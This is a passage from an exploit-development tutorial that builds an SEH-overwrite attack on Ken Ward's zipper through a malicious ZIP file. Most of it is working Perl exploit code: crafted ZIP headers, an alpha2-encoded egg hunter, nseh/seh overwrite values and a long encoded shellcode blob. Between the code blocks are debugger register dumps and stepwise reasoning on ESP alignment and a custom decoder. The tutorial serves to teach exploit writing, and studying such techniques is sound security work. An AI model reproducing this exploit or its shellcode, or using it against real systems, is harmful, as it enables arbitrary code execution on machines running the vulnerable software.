<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

<strong><font color="#ff0000">#alpha2 encoded egg hunter - w00t - basereg EDX
<span style="color: #0000ff">my</span> $egghunter="<span style="color: #8b0000">JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA</span>".
"<span style="color: #8b0000">Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW</span>".
"<span style="color: #8b0000">LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA</span>";</font></strong>

<span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<strong><font color="#ff0000"><span style="color: #0000ff">my</span> $junk = $egghunter . "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename.$egghunter));</font></strong>
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">\x74\xf7\x90\x90</span>";   #jump back 102 bytes
<span style="color: #0000ff">my</span> $seh=<span style="color: #0000ff">pack</span>('V',0x00415A68);
<span style="color: #0000ff">my</span> $payload = $filename.$junk.$nseh.$seh;

<span style="color: #0000ff">my</span> $shellcode = <strong>"<span style="color: #8b0000">w00tw00t</span>".</strong>
"<span style="color: #8b0000">\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49</span>" .
"<span style="color: #8b0000">\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51</span>" .
"<span style="color: #8b0000">\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32</span>" .
"<span style="color: #8b0000">\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41</span>" .
"<span style="color: #8b0000">\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54</span>" .
"<span style="color: #8b0000">\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61</span>" .
"<span style="color: #8b0000">\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56</span>" .
"<span style="color: #8b0000">\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48</span>" .
"<span style="color: #8b0000">\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f</span>" .
"<span style="color: #8b0000">\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b</span>" .
"<span style="color: #8b0000">\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51</span>" .
"<span style="color: #8b0000">\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50</span>" .
"<span style="color: #8b0000">\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54</span>" .
"<span style="color: #8b0000">\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30</span>" .
"<span style="color: #8b0000">\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61</span>" .
"<span style="color: #8b0000">\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55</span>" .
"<span style="color: #8b0000">\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56</span>" .
"<span style="color: #8b0000">\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31</span>" .
"<span style="color: #8b0000">\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39</span>" .
"<span style="color: #8b0000">\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38</span>" .
"<span style="color: #8b0000">\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38</span>" .
"<span style="color: #8b0000">\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b</span>" .
"<span style="color: #8b0000">\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74</span>" .
"<span style="color: #8b0000">\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39</span>" .
"<span style="color: #8b0000">\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f</span>" .
"<span style="color: #8b0000">\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65</span>" .
"<span style="color: #8b0000">\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a</span>" .
"<span style="color: #8b0000">\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59</span>" .
"<span style="color: #8b0000">\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c</span>" .
"<span style="color: #8b0000">\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58</span>" .
"<span style="color: #8b0000">\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b</span>" .
"<span style="color: #8b0000">\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48</span>" .
"<span style="color: #8b0000">\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59</span>" .
"<span style="color: #8b0000">\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79</span>" .
"<span style="color: #8b0000">\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e</span>" .
"<span style="color: #8b0000">\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35</span>" .
"<span style="color: #8b0000">\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48</span>" .
"<span style="color: #8b0000">\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64</span>" .
"<span style="color: #8b0000">\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69</span>" .
"<span style="color: #8b0000">\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50</span>" .
"<span style="color: #8b0000">\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e</span>" .
"<span style="color: #8b0000">\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61</span>" .
"<span style="color: #8b0000">\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51</span>" .
"<span style="color: #8b0000">\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f</span>" .
"<span style="color: #8b0000">\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38</span>" .
"<span style="color: #8b0000">\x46\x6a\x41\x41</span>";

<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload.$shellcode));

$payload=$payload.$rest.$shellcode."<span style="color: #8b0000">.txt</span>";

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing shellcode to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;c:\\tmp\\shellcode.bin</span>");
<span style="color: #0000ff">print</span> FILE $shellcode;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>" . <span style="color: #0000ff">length</span>($shellcode)."<span style="color: #8b0000"> bytes to file\n</span>";</pre>
<p>Create the zip file, trigger the crash in the debugger, let pop pop ret execute, and hold when you land at the jump back (at nseh). Don&#8217;t execute the jump back yet.</p>
<p>Look on the stack, and try to find the location where the egg hunter is located.&nbsp; A few minutes ago we found the begin of our payload somewhere before 0x0013F58E, so we should find our egg hunter somewhere around that location :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image8.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb8.png" width="537" height="320"></a> </p>
<p>Our egg hunter is located exactly at 0x0013F58E (which makes sense, because we basically wrote the egg hunter directly after the spaces, and that is the same location where our A&#8217;s were found a few moments ago)</p>
<p>Look at the registers :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px">EAX 00000000
ECX 00415A68 zip4.00415A68
EDX 7C9032BC ntdll.7C9032BC
EBX 7C9032A8 ntdll.7C9032A8
ESP 0013F00C
EBP 0013F0E8
ESI 00000000
EDI 00000000
EIP 0013F908
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -UNORM 96D9 073C0000 02201372
ST1 empty +UNORM 1F80 00000171 BF820DF6
ST2 empty %#.19L
ST3 empty +UNORM 00F9 00000171 BC6B12B8
ST4 empty +UNORM 5000 00000000 BF820D30
ST5 empty -UNORM FF98 00000000 F4424D64
ST6 empty %#.19L
ST7 empty %#.19L
               3 2 1 0      E S P U O Z D I
FST 0220  Cond 0 0 1 0  Err 0 0 1 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0</pre>
<p>&nbsp;</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink43.jpg"><img style="border-right-width: 0px; margin: 0px 20px 0px 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" align="left" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb43.jpg" width="200" height="100"></a><em>How can we now put 0x0013F58E into edx, in a reliable way ?&nbsp; We cannot just hardcode the address into edx&#8230; </em></p>
<p><em>In order to make it reliably, we have to take a value from another register, a value that is put in the register by the application itself&#8230; and then add or sub an offset from that register until edx points to the desired value.</em></p>
<p>What if we take the value of EBP ?&nbsp; It currently points at 0x0013F0E8. In order to get to 0x0013F58E, we need to add 1190 bytes to that address :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb13_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb13_thumb[1]" border="0" alt="image_thumb13_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb13_thumb13_thumb.png" width="611" height="186"></a> </p>
<p>So that means that the instructions we need to execute in order to get the desired address into edx, and then jump to edx (to get the egg hunter to execute), could look something like this :</p>
<ul>
<li>push ebp
<li>pop edx
<li>add edx,0x4A6
<li>jmp edx </li>
</ul>
<p>or, in opcode :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb151_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb151_thumb[1]" border="0" alt="image_thumb151_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb151_thumb13_thumb.png" width="610" height="224"></a> </p>
<p>That&#8217;s 10 bytes of code that needs to be wrapped into a custom decoder.&nbsp; Good deal.</p>
<p>&nbsp;</p>
<h3>Preparing the custom decoder : align esp</h3>
<p>Before we can look at building the custom decoder (to reproduce those 10 bytes of code), we need to figure out how we can make the decoder write these instructions so we can execute them in a reliable way.</p>
<p>The custom decoder, as you will see (or as you have already seen in the quickzip exploits), uses push eax instructions to write the original code to the stack.&nbsp; By making the stack pointer (esp) point at a location that sits below the decoder, the reproduced/original code gets executed when the decoder finishes running.</p>
<p>So before we get the custom decoder to run, we have to set esp to a good location first.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink43.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb43.jpg" width="200" height="100"></a> </p>
<p><em>How would you approach this ?&nbsp; How can you, based on the current state of the registers and stack, make esp point to a good location ?</em></p>
<p>Go back to the debugger. We are still at the location where the code at nseh would trigger a jump back.&nbsp; </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image9.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb9.png" width="581" height="268"></a> </p>
<p>When the jump back would be made, we would end up at 0x0013F8A2, which is 102 bytes before the current location :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb21_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb21_thumb[1]" border="0" alt="image_thumb21_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb21_thumb13_thumb.png" width="586" height="215"></a> </p>
<p>At that moment, ESP will still point to the 0013F00C, which is way before the current EIP location. So when the jump back is made, we will have to put some &#8220;esp alignment code&#8221;, followed by the custom decoder.&nbsp; The esp alignment code needs to make esp point to a location after the custom decoder.&nbsp; </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image38_thumb_thumb131.png"><img style="border-right-width: 0px; margin: 0px 15px 0px 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image38_thumb_thumb[1]" border="0" alt="image38_thumb_thumb[1]" align="left" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image38_thumb_thumb13_thumb1.png" width="348" height="253"></a>Look back at the contents of the registers 2 screenshots ago.&nbsp; None of the registers points to a good address in that perspective. So basically we cannot just take a value from an existing register and put that in ESP, because none of the registers contains a value that points to a location that would end up after the custom decoder.&nbsp;&nbsp; </p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink43.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb43.jpg" width="200" height="100"></a> </p>
<p><em>What would you do in this scenario ?</em></p>
<p>&nbsp;</p>
<p>Answer : if we look on the stack, we can see that the 5th address on the stack may help us out :</p>
<p>esp currently points at 0x0013F00C.&nbsp; The 5th address from the top of the stack contains 0x0013F908 (which is the address of nseh &#8211; just fyi &#8211; doesn&#8217;t really matter that it&#8217;s nseh &#8211; only the address itself and how it relates to the location where the custom decoder will be placed is important)</p>
<p>That&#8217;s nice, if we can take this value from the stack and put it in esp after we made the jump back (at nseh) to 0x0013F8A2, then esp would point to an address (0x0013F908) that sits after 0x0013F8A2 (where the esp alignment code + custom decoder will be placed located).&nbsp;&nbsp; </p>
<p>So that means that we can do this :</p>
<ul>
<li>Jump back at nseh (to 0x0013F8A2), and land at some code that would
<li>pop 5 values from the stack and make esp point at the 5th address, and then
<li>execute the custom decoder which will push the reproduced code to the stack.&nbsp; esp will point below the custom decoder, so when the custom decoder has finished :
<li>the reproduced code will get executed and the jump to the egg hunter will be made </li>
</ul>
<p>Sound fair, right ?</p>
<p>The total amount of code we can spend for the esp alignment code and the custom decoder = 102 bytes minus the 10 bytes of reproduced code (which will be pushed to esp at 0x0013F908).</p>
<p>Ok, what are the instructions we need to execute to align esp ?</p>
<p>we will simply do this :</p>
<ul>
<li>pop eax (0&#215;58) : takes first address from top of stack
<li>pop eax (0&#215;58) : takes second address from top of stack
<li>pop eax (0&#215;58) : takes third address from top of stack
<li>pop eax (0&#215;58) : takes fourth address from top of stack
<li>pop esp (0x5c) : takes fifth address from top of stack and make esp point at it </li>
</ul>
<p>0&#215;58 = &#8220;X&#8221;.&nbsp; 0x5C = &#8220;\&#8221;.&nbsp;&nbsp; When building the exploit for quickzip, we noticed that a backslash would not do any harm. So let&#8217;s give it a try.&nbsp;&nbsp; </p>
<p>5 bytes of alignment code, 10 bytes of space for the reproduced code &#8211; that leaves us with 102 -5 &#8211; 10 = 87 bytes of available space for the custom decoder. Sound like a plan.</p>
<p>Let&#8217;s see if we can get esp to align first.&nbsp; We will change the exploit code, so the last 102 bytes before nseh would contain</p>
<ul>
<li>the esp alignment code
<li>some E&#8217;s (to indicate the space we will have available for the custom decoder) </li>
</ul>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

#alpha2 encoded egg hunter - w00t - basereg EDX
<span style="color: #0000ff">my</span> $egghunter="<span style="color: #8b0000">JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA</span>".
"<span style="color: #8b0000">Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW</span>".
"<span style="color: #8b0000">LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA</span>";

<span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<strong><font color="#ff0000"><span style="color: #0000ff">my</span> $espalign="<span style="color: #8b0000">\x58\x58\x58\x58\x5c</span>";
<span style="color: #0000ff">my</span> $decoder = "<span style="color: #8b0000">E</span>" x (102 - <span style="color: #0000ff">length</span>($espalign));
<span style="color: #0000ff">my</span> $junk = $egghunter .
   "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename.$egghunter.$espalign.$decoder));</font></strong>
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">\x74\xf7\x90\x90</span>";   #jump back 102 bytes
<span style="color: #0000ff">my</span> $seh=<span style="color: #0000ff">pack</span>('V',0x00415A68);
<strong><font color="#ff0000"><span style="color: #0000ff">my</span> $payload = $filename.$junk.$espalign.$decoder.$nseh.$seh;</font></strong>

<span style="color: #0000ff">my</span> $shellcode = "<span style="color: #8b0000">w00tw00t</span>".
"<span style="color: #8b0000">\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49</span>" .
"<span style="color: #8b0000">\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51</span>" .
"<span style="color: #8b0000">\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32</span>" .
"<span style="color: #8b0000">\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41</span>" .
"<span style="color: #8b0000">\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54</span>" .
"<span style="color: #8b0000">\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61</span>" .
"<span style="color: #8b0000">\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56</span>" .
"<span style="color: #8b0000">\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48</span>" .
"<span style="color: #8b0000">\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f</span>" .
"<span style="color: #8b0000">\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b</span>" .
"<span style="color: #8b0000">\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51</span>" .
"<span style="color: #8b0000">\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50</span>" .
"<span style="color: #8b0000">\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54</span>" .
"<span style="color: #8b0000">\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30</span>" .
"<span style="color: #8b0000">\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61</span>" .
"<span style="color: #8b0000">\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55</span>" .
"<span style="color: #8b0000">\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56</span>" .
"<span style="color: #8b0000">\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31</span>" .
"<span style="color: #8b0000">\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39</span>" .
"<span style="color: #8b0000">\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38</span>" .
"<span style="color: #8b0000">\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38</span>" .
"<span style="color: #8b0000">\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b</span>" .
"<span style="color: #8b0000">\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74</span>" .
"<span style="color: #8b0000">\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39</span>" .
"<span style="color: #8b0000">\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f</span>" .
"<span style="color: #8b0000">\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65</span>" .
"<span style="color: #8b0000">\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a</span>" .
"<span style="color: #8b0000">\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59</span>" .
"<span style="color: #8b0000">\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c</span>" .
"<span style="color: #8b0000">\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58</span>" .
"<span style="color: #8b0000">\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b</span>" .
"<span style="color: #8b0000">\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48</span>" .
"<span style="color: #8b0000">\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59</span>" .
"<span style="color: #8b0000">\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79</span>" .
"<span style="color: #8b0000">\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e</span>" .
"<span style="color: #8b0000">\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35</span>" .
"<span style="color: #8b0000">\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48</span>" .
"<span style="color: #8b0000">\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64</span>" .
"<span style="color: #8b0000">\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69</span>" .
"<span style="color: #8b0000">\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50</span>" .
"<span style="color: #8b0000">\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e</span>" .
"<span style="color: #8b0000">\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61</span>" .
"<span style="color: #8b0000">\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51</span>" .
"<span style="color: #8b0000">\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f</span>" .
"<span style="color: #8b0000">\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38</span>" .
"<span style="color: #8b0000">\x46\x6a\x41\x41</span>";

